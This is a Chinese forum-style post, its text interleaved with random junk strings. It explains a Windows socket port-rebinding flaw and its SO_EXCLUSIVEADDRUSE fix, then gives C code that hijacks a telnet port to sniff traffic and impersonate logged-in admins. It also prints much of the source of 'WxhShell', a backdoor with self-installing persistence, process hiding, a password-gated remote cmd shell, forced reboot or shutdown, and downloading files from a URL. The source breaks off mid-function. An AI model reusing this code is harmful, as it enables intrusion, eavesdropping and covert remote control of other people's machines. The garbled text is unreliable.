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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?obm7< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >5ChcefH OfZN|S+~W saddr.sin_family = AF_INET; -6C +LbV *9D!A saddr.sin_addr.s_addr = htonl(INADDR_ANY); N`$!p9r q>s`uFRg( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,:GN;sIXg *y]+dK&- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LW:1/w&pv #/70!+J_UF 这意味着什么?意味着可以进行如下的攻击: (kw5>c7 #g9ZX16} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |He=LQ}0 "rNL
`P7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SSA W52xC Z^ar.boc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |.U)ll(c q.V-LXM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $/Ov2z VW<0Lt3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (.23rVvnT@ j.|U=)E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,D=fFpn caq} &A]C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tef^ShF]
QG3&p< #include r{K;|'d%h #include (f#b7O-Wn #include =RsXI&&vh #include g0R[xOS|
DWORD WINAPI ClientThread(LPVOID lpParam); >I'%!E; int main() i.y)mcB4 { .*5 Z"Q['G WORD wVersionRequested; >)**khuP7 DWORD ret; ELD!{bMT WSADATA wsaData; w0J|u'H BOOL val; \".^K5Pm SOCKADDR_IN saddr; Zv!{{XO2; SOCKADDR_IN scaddr; ,r^"#C0J} int err; 57I}RMT" SOCKET s;
jNyoN1M SOCKET sc; #&8rcu;/ int caddsize; 7Y( 5]A9= HANDLE mt; iK;opA" DWORD tid; \RG!@$i wVersionRequested = MAKEWORD( 2, 2 ); 9A$m$ err = WSAStartup( wVersionRequested, &wsaData ); KZ:hKY@q if ( err != 0 ) { |ys0`Vb=$ printf("error!WSAStartup failed!\n"); NXk!qGV2 return -1; p,W_'?,9 } \>Zvev!s
saddr.sin_family = AF_INET; @N.jB#nEb sen=0SB/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UKBJ_r 6lFfS!ZFA saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~r*P]*51x saddr.sin_port = htons(23); dcfe_EuT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nsuX*C7 { n1v5Q2xw printf("error!socket failed!\n"); g@ith&*=h return -1; [(mlv42" } nE W31 8 val = TRUE; sRhKlUJG //SO_REUSEADDR选项就是可以实现端口重绑定的 *_-'/i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b[ w;i]2 { !CY&{LEYn0 printf("error!setsockopt failed!\n"); [iS$JG-
return -1; iCQ>@P]nE } 8|g<X1H{M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8y2+$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dK9Zg,DZL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kLP0{A \2v"YVWw
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,<Kx{+ [h { <[~,uR7 ret=GetLastError(); F5T3E?_ printf("error!bind failed!\n"); oF&l-DHp return -1; ,. EBOUW^ } gFN9jM listen(s,2); au@a8MP while(1) lCT{v@pp { {S.>BXX caddsize = sizeof(scaddr); V"KS[>>f //接受连接请求 :#t*K6dz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a[!%Ld if(sc!=INVALID_SOCKET) 7(a2L&k^ { >{zk
qvsQ& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x!<yT?A if(mt==NULL) |V,<+BEi { *f+: <=i printf("Thread Creat Failed!\n"); mEAXM1J| break; @x&P9M0g } E,[xUz" } &(pjqV CloseHandle(mt); Lxl_"kG } I:j3sy closesocket(s); ~mz%E WSACleanup(); =r.
>N\ return 0; /F/;G*n } XP?rOOn DWORD WINAPI ClientThread(LPVOID lpParam) ssQ BSbx { 2\<.0 SOCKET ss = (SOCKET)lpParam; 3251Vq % SOCKET sc; 1R%1h9I4' unsigned char buf[4096]; ro~+j}* SOCKADDR_IN saddr; y'C-[nk long num; Tny>D0Z# DWORD val; &:#h$`4 DWORD ret; =6nD sibf //如果是隐藏端口应用的话,可以在此处加一些判断 5jcte<
5I_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 S=|@L<O saddr.sin_family = AF_INET; Q /x8 #X saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~aK?cP saddr.sin_port = htons(23); V
A^l+Z,d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pW\'ZRj { )X+mV printf("error!socket failed!\n"); 6QQfQ, return -1; qCQ./"8 } 15\Ph[6g val = 100; !
NV#U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *?p|F&J { z_|oCT!6 ret = GetLastError(); Q4]4@96Aj return -1; kLSrj\6I[ } 6=GZLpv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y(jg#7) { ?uL eFD ret = GetLastError(); uzr\oj+> return -1; B2=\2< } o2H1N~e#c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G@ \Pi#1 { 'I}:!Z printf("error!socket connect failed!\n"); J4$!
68 closesocket(sc); .^(/n9|o- closesocket(ss); YPDf
Y<?v return -1; v6(E3)J7 } 256LH Y|6 while(1) ~l[ra { uq3{hB# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QP@<)`1t9 //如果是嗅探内容的话,可以再此处进行内容分析和记录 iI1n2>V3y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /u<nLj 1 num = recv(ss,buf,4096,0); {}~: &.D if(num>0) YvL?j send(sc,buf,num,0); /7c~nBU else if(num==0) $rB3m~c| break; :*514N num = recv(sc,buf,4096,0); ]jMKC8uz if(num>0) tl yJmdl send(ss,buf,num,0); T.e.{yO else if(num==0) 7j<e)" break; Dr3n+Q } | s+0~$O; closesocket(ss); s54nF\3V closesocket(sc); Y,S\2or$ return 0 ; ZfAzc6J?\ } 6]cryf&b }=](p-] 5 5f'DoT ========================================================== alMYk 1Nn@L2b 2 下边附上一个代码,,WXhSHELL Yf_6PGNzX w&h2y4 ========================================================== R6;Phdh<> DPgm%Xq9(! #include "stdafx.h" x+5k
<Xi} SUCUP<G #include <stdio.h> Pz_Oe,{.I #include <string.h> /lhz],w #include <windows.h> }Nj97R #include <winsock2.h> j1$8#/r;c #include <winsvc.h> RF}X
ER #include <urlmon.h> |`k
.y]9 <E|s\u #pragma comment (lib, "Ws2_32.lib") <Q< AwP #pragma comment (lib, "urlmon.lib") vYmSKS gApoX0nrv #define MAX_USER 100 // 最大客户端连接数 0Wvq>R.(]7 #define BUF_SOCK 200 // sock buffer B0}~G(t( #define KEY_BUFF 255 // 输入 buffer q(o/yx{bm 5FKBv
e@ #define REBOOT 0 // 重启 JNI>VP[c #define SHUTDOWN 1 // 关机 yGBQ0o7E x+5p1sv6 #define DEF_PORT 5000 // 监听端口 od<b!4k~s cc=gCE #define REG_LEN 16 // 注册表键长度 lU]un&[N #define SVC_LEN 80 // NT服务名长度 [onqNp BbOu/i| // 从dll定义API or*HC&c7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @`"AHt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %u\26[/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ o6G6e, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^ZeJ[t&!# NLd``=& // wxhshell配置信息 n`Z"rwKmNw struct WSCFG { i%Z2wP.o int ws_port; // 监听端口 2RtHg_d_l char ws_passstr[REG_LEN]; // 口令 k8nLo.O int ws_autoins; // 安装标记, 1=yes 0=no qem(s</: char ws_regname[REG_LEN]; // 注册表键名 u^W2UE\ char ws_svcname[REG_LEN]; // 服务名 t@oK~ Nr char ws_svcdisp[SVC_LEN]; // 服务显示名 `iKj char ws_svcdesc[SVC_LEN]; // 服务描述信息 * A|-KKo\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V\~Wv V int ws_downexe; // 下载执行标记, 1=yes 0=no oP?YA-#nc char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" OKOu`Hz@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z,7R;,qX H[Q_hY[>V }; r`\A
nT? 1$lh"fHU // default Wxhshell configuration 1nhtM struct WSCFG wscfg={DEF_PORT, Zi$ziDz& "xuhuanlingzhe", )ukpJ z"" 1, :\~+#/=: "Wxhshell", GyI-)BlDC "Wxhshell", T $4P_* "WxhShell Service",
4-Z()F "Wrsky Windows CmdShell Service", ;$j7H&UNQj "Please Input Your Password: ", Btt]R 1, Yepe=s+9 " http://www.wrsky.com/wxhshell.exe", ?kw&=T! "Wxhshell.exe" {04"LAE }; \(UKdv L#[]I, // 消息定义模块 X<OSN&d
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #.B"q:CW*P char *msg_ws_prompt="\n\r? for help\n\r#>"; j5$BK[p. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *!e(A ]& char *msg_ws_ext="\n\rExit."; <-Bx&Q char *msg_ws_end="\n\rQuit."; &<'n^n char *msg_ws_boot="\n\rReboot..."; yR~-k?7b char *msg_ws_poff="\n\rShutdown..."; i7[uLdQ char *msg_ws_down="\n\rSave to "; `BFIC7a :VmHfOO char *msg_ws_err="\n\rErr!"; g&/p*c_ char *msg_ws_ok="\n\rOK!"; f3*?MXxb16 K!AAGj` char ExeFile[MAX_PATH]; /(C~~XP) int nUser = 0; +?D6T!) HANDLE handles[MAX_USER]; qf)$$ qi int OsIsNt; vC;]jJb: >XW*T5aUA SERVICE_STATUS serviceStatus; $K~LM8_CKy SERVICE_STATUS_HANDLE hServiceStatusHandle; H(^bC5' $3+PbYY // 函数声明 m(OvD! int Install(void); ,"}Rg1\4t int Uninstall(void); *~$~yM/~3U int DownloadFile(char *sURL, SOCKET wsh); { >{B`e`$ int Boot(int flag); _A_ A$N~9 void HideProc(void); 2 -!L _W( int GetOsVer(void); :7N3N int Wxhshell(SOCKET wsl); 8
(jUe void TalkWithClient(void *cs); uZKP"Oy int CmdShell(SOCKET sock); ?ne_m:J[ int StartFromService(void); 2LY=DL7 int StartWxhshell(LPSTR lpCmdLine); !{^\1QK oSb, :^Wl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >n5:1.g VOID WINAPI NTServiceHandler( DWORD fdwControl ); xom<P+M!| !7B\Xl'S // 数据结构和表定义 0pe3L SERVICE_TABLE_ENTRY DispatchTable[] = +0z 7KO%^^ { d?,M/$h {wscfg.ws_svcname, NTServiceMain}, _+f+`]iM {NULL, NULL} D]! aT+ }; %Tn#- {.e=qQ%P5) // 自我安装 :q##fG'm/ int Install(void) woH)0v { =/Aj char svExeFile[MAX_PATH]; 72oWhX=M% HKEY key; jMBiaX`F strcpy(svExeFile,ExeFile); l?E a# i@"e,7mSG // 如果是win9x系统,修改注册表设为自启动 <pLT'Y= if(!OsIsNt) { gW(gJ;
L,% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Yi)"- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #:fQ.WWO RegCloseKey(key); pe0x""K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ft{[ae?4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Si}HX!s RegCloseKey(key); G)=HB7u[a return 0; [V#r7a } ^S)TO}e } ri~<~oB2: } 1r[@(c0 else { )QKf7 [: V)o,1
// 如果是NT以上系统,安装为系统服务 ;a"q'5+Ne SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FeJr\|FT if (schSCManager!=0) tY W>t9 { ]
7;f?+ SC_HANDLE schService = CreateService ][PzgzG ( P%pp
)BS schSCManager,
}WFf''Z- wscfg.ws_svcname, }7<5hn E wscfg.ws_svcdisp, |V[9}E:
h SERVICE_ALL_ACCESS, [K~]& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "+ "{+k5t SERVICE_AUTO_START, "GT4s?6O SERVICE_ERROR_NORMAL, &FdWFt=X svExeFile, gA#RM5x@ NULL, {Ng oYl NULL, |BMV.Zi NULL, @# P0M--X NULL, vP!GJX&n5 NULL mumXUX ); ]pA(K?Lbg if (schService!=0) \79X{mcd { *2"6fX[ CloseServiceHandle(schService); Die-@z|Y CloseServiceHandle(schSCManager); $ls[|N:y0l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@y8.#l strcat(svExeFile,wscfg.ws_svcname); M
s9E@E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qgt[ ~i* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3{Nbp RegCloseKey(key); :)f7A7 :; return 0; pfuW } Lr;(xw\[' } b}ODWdJ1 CloseServiceHandle(schSCManager); &tR(n$M@> } jPvDFT^d/ } 0:Xxl76v4 @=S}=cl return 1; ^y viV
Y }
8Chj
w wB !4@G3Ae22 // 自我卸载 #4LFG\s int Uninstall(void) ~Z/
^c,[: { q=HHNjj8 HKEY key; 0x2!<z A?5E2T1L%. if(!OsIsNt) { 4S0>-?{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z]w#vLR RegDeleteValue(key,wscfg.ws_regname); vQV K$n` RegCloseKey(key); !4"sX+z9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z"4]5&3A RegDeleteValue(key,wscfg.ws_regname); -a Gcf]6 RegCloseKey(key); "ceed)(: return 0; Yx'res4e } _&3<6$}i" } |iFVh$N } ~`;rNnOT3 else { u),Qa=Wp TjK{9A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YKZrEP4^ if (schSCManager!=0) _#e&t"@GS { v
]Sl<%ry SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gJt`?8t if (schService!=0) 6~:Sgt nU { jdeV|H} u if(DeleteService(schService)!=0) { }G46g#_6d> CloseServiceHandle(schService); stl 1QO(h CloseServiceHandle(schSCManager); c47")2/yO return 0; `pZs T
^G[ } %wV>0gQTf CloseServiceHandle(schService); }H4=HDO } G}@#u9 CloseServiceHandle(schSCManager); j Ib } DH DZ_t: } x Ha=3n !%<^K.wG return 1; kU5.iK' } 4Q=ftY< 3Rg}+[b
// 从指定url下载文件 fyz
nuUl int DownloadFile(char *sURL, SOCKET wsh) /NT[ETMk+ { @(``:)Z<b HRESULT hr; 3XiO@jzre char seps[]= "/"; =!Vf char *token; g o5]<4`r char *file; F-(dRSDNM char myURL[MAX_PATH]; T`/IO.2 char myFILE[MAX_PATH]; c9' ' I0AJY
)R strcpy(myURL,sURL); Uv_N x10 token=strtok(myURL,seps); PMs z` while(token!=NULL) 4W4kwU6D { q"KnLA( file=token; T@wcHg token=strtok(NULL,seps); :Br5a34q } <O?y-$~ ;cQW sTfT GetCurrentDirectory(MAX_PATH,myFILE); Ou>u% strcat(myFILE, "\\"); q+SD6qM strcat(myFILE, file); 1PaUI#X"2F send(wsh,myFILE,strlen(myFILE),0); A\rt6/ send(wsh,"...",3,0); <HWS:'1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @4~=CV%j if(hr==S_OK) Dq\ Jz~ return 0; V{-AP=C7 else |XYEn7^r return 1; eC
DIwB28 8GPIZh'0h } c;f!!3& Z!d7&T} // 系统电源模块 =+5,B\~q@C int Boot(int flag) ,?UM;^
{ Eu}b8c HANDLE hToken; 5 /",<1 TOKEN_PRIVILEGES tkp; pN6%&@) = x"kjs.d7[< if(OsIsNt) { J;t 7&Zpe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .%EL \2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rr`;W}3 tkp.PrivilegeCount = 1; =*BIB5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {
kSf{>Ia
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rjt8fN if(flag==REBOOT) { ;?fS(Vz~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .@)mxC:\K9 return 0; lA!"z~03* } 5cr(S~Q; else { &hHW3Q(1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t22;87&| return 0; I:&/`K4,x, } `Ycf]2.,$ } R9We/FhOY else { FQ%c~N if(flag==REBOOT) { @K223?c8l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [$(%dV6O return 0; h-a!q7]l } R;whW:Tx else { ))D:8l@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .D,p@4 return 0; g]@(E } iO/XhSD } }_tl n `cz2DR-" return 1; KAA-G2%M } [sV"ws }K1 0Po' // win9x进程隐藏模块 ^{$FI`P void HideProc(void) F+ <Z<q { MiT}L v dbO( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S>G?Q_&}?D if ( hKernel != NULL ) -hcS]~F { ] G.%Ty pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ',3HlOJ: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gwrYLZNGI FreeLibrary(hKernel); p;)" } %)jxW{ 2I3h
MD0 return; \?>Hu
v } @53k8 1 Q;}zHd // 获取操作系统版本 U/ V int GetOsVer(void) {%)s.5Pfw { [%~
:@m OSVERSIONINFO winfo; UsGa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X5fmz%VK@ GetVersionEx(&winfo); HjvCujJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~I/@i return 1; M}:=zcZ l else CZnK8&VDY return 0; j hYToMq } _LP/!D X)SDG#&+bF // 客户端句柄模块 mE O\r|A int Wxhshell(SOCKET wsl) 8,D 2^Gg { <H3ezv1M SOCKET wsh; q/3ziVd7p struct sockaddr_in client; TlAR.cV DWORD myID; H>Q%"| &*G<a3Q while(nUser<MAX_USER) j.~!dh$mg { (Q[fS:U int nSize=sizeof(client); G CRz<)1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -U~ if(wsh==INVALID_SOCKET) return 1; `.x$7!zLC !f>d_RG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y^Nuz/ if(handles[nUser]==0) ]3ONFa closesocket(wsh); r`&-9"+ else ?1L.:CS nUser++; ELrsx{p: } rn DCqv!'P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HCK|~k n%h^o return 0; V$0dtvGvH } I`[i;U{CK i|
\6JpNA: // 关闭 socket o:Qv
JcB void CloseIt(SOCKET wsh) kK8itO { d\e7,"L*Q closesocket(wsh); A[G0 .>Wk nUser--; $,I q;*7N ExitThread(0); (%iRaw7hp } MRU7W4W-~/ s}5cSU!| // 客户端请求句柄 !$2Z-! void TalkWithClient(void *cs) $'W}aER { f)]%.> AV 8n( SOCKET wsh=(SOCKET)cs; "G>3QL+O| char pwd[SVC_LEN]; >+.
(r] char cmd[KEY_BUFF]; [{4MR%-- char chr[1]; T0)4v-EO int i,j; js1!9%BV y"]n:M:( while (nUser < MAX_USER) { y(R?
,wa=] YV=QF
J' if(wscfg.ws_passstr) { 2|\A7. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &`b
"a! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d0'JC* //ZeroMemory(pwd,KEY_BUFF); "5cM54Z0 i=0; k6`6Mjbc while(i<SVC_LEN) { L
lqM c (F7(^.MG // 设置超时 Vcd.mE(t% fd_set FdRead; $/Aj1j`"9+ struct timeval TimeOut; L@=3dp!\Cu FD_ZERO(&FdRead); sNun+xsf^ FD_SET(wsh,&FdRead); 'B+ ' (f TimeOut.tv_sec=8; &d7Z6P'`G TimeOut.tv_usec=0; A^Kbsc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kyR*D1N&) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9rh}1eo7 hdTzCfeZ5@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %;#^l+UB pwd =chr[0]; cj11S>D if(chr[0]==0xd || chr[0]==0xa) { iy""(c pwd=0; :JlP[I
break; 6TP7b| } 4Llo`K4 i++; lKk/p^: } Q)"A-"y &.TTJsKG h // 如果是非法用户,关闭 socket R^{)D3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =4d (b ; } HF|oBX$_ w+1Gs
; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @p\}p Y$T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); );-~j m%?V7-9!k while(1) { @F(mi1QO |bgo;J/ ZeroMemory(cmd,KEY_BUFF); bLt.O(T} boG_f@dv( // 自动支持客户端 telnet标准 1+?N#Fh j=0; hY`\&@ while(j<KEY_BUFF) { ybp -$e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <w3!!+oK" cmd[j]=chr[0]; Z"unF9`"1 if(chr[0]==0xa || chr[0]==0xd) { g^zs,4pPU< cmd[j]=0; fhB}9i^]tg break; Z|}G6]h } $XoQ]}"O j++; o M Zq+> } U`hY{E; F5S@I; // 下载文件 4&l10fR5 if(strstr(cmd,"http://")) { \d::l{VB send(wsh,msg_ws_down,strlen(msg_ws_down),0); @JdZ5Q if(DownloadFile(cmd,wsh)) Haqm^Ky$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:lnt /N3 else hMtf.3S7c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); },|M9I0 } +^;JS3p@\ else { <$JaWL s(W|f|R switch(cmd[0]) { +{/ >M&3Y
XC // 帮助 ](|\whI case '?': { ID/F send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y3Q9=u*5 break; nT2)E&U6% } _UuC,Pl3 // 安装 `-LGU7~+ case 'i': { (Cqn6dWK if(Install()) :%IoM E send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-O_\Cq8 else bJs9X/E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @B}aN@!/ break; mc4i@<_? } %.Q
!oYehj // 卸载 {z|;Xi::" case 'r': { .`&F>o(A if(Uninstall()) 2#k5+?-c61 send(wsh,msg_ws_err,strlen(msg_ws_err),0); AlJ} >u else r(9~$_(vK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XVU2T5s} break; z?35=%~w } (y^vqMz // 显示 wxhshell 所在路径 0Lb4'25. case 'p': { Jec'`,Y char svExeFile[MAX_PATH]; K#. strcpy(svExeFile,"\n\r"); zP<pEI strcat(svExeFile,ExeFile); <I;2{*QI2 send(wsh,svExeFile,strlen(svExeFile),0); ZRYEqSm break; n'emNRa } 0V?F'<qy // 重启 Wl}&?v&@ case 'b': { 7F'`CleU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c [5KG} if(Boot(REBOOT)) )vxUT{;sH send(wsh,msg_ws_err,strlen(msg_ws_err),0); A`R{m0A else { jmeRrnC} closesocket(wsh); t%8d-+$ ExitThread(0); j1(D]Z=\ } o6p98Dpg break; PdvqDa8 } G$sA`<< // 关机 =z8f]/k*> case 'd': { i7ly[6{^pr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VH:]@x//{ if(Boot(SHUTDOWN)) Od|$Y+@6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'om- else { +zs4a96[ closesocket(wsh); .aflsUD ExitThread(0); yxc=Z0~1 } V(E/'DR break; ccL~#c0P7 } 3'X.}>o // 获取shell (P`3 @H case 's': { +U@<\kIF CmdShell(wsh); D|.ic!w' closesocket(wsh); twx[s$O'b ExitThread(0); &
GreN break; dh $bfAb } h?pkE // 退出 D:K4H+ch case 'x': { nWHa.H# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =lpQnj" CloseIt(wsh); @K!&qw break; !Ta>U^7 } Y3=_ec3w // 离开 <wAFy>7 case 'q': { QNl'ZB\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); z0do;_x]E closesocket(wsh); m1*O0Tg]" WSACleanup(); }m-FGk exit(1); '{B!6|"X break; ~^cMys |' } x]33LQ1] } Cn[0(s6 } 7>~5jYP of@#:Qs // 提示信息 c}0@2Vf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,f&5pw
= } nb>7UN.9 } ivz{L- -(b kr+N return; <Z/x,-^*< } r4#o+qE Ggb5K8D* // shell模块句柄 <=,6p>Eo[ int CmdShell(SOCKET sock) -uy`!A { Kx%Sku<F' STARTUPINFO si; 2j&AiD
ZeroMemory(&si,sizeof(si)); L~KM=[cn si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B9J&=6`) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;"m ,:5% PROCESS_INFORMATION ProcessInfo; ]i)j3WDz] char cmdline[]="cmd"; ~appY Av CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /QJ?bD#a return 0; ~B(6+~%
} X<*U.=r) Alxx[l\<J // 自身启动模式 eD#hpl int StartFromService(void) 2TA*m{\Hr { L5\WpM= typedef struct NW&b&o { \(vY%DL1: DWORD ExitStatus; v 7x:dcV DWORD PebBaseAddress; y?q*WUh
DWORD AffinityMask; $81*^ DWORD BasePriority; )d>!"JB- ULONG UniqueProcessId; PKzyV ; ULONG InheritedFromUniqueProcessId; j+
LawW- } PROCESS_BASIC_INFORMATION; ih;]nJ]+- oo.2Dn6z PROCNTQSIP NtQueryInformationProcess; }O4^Cc6 q')R4=0
K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `kJ^zw+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `{xNXH]@ +o51x'Ld* HANDLE hProcess; O7 $hYk PROCESS_BASIC_INFORMATION pbi; ~7Tc$
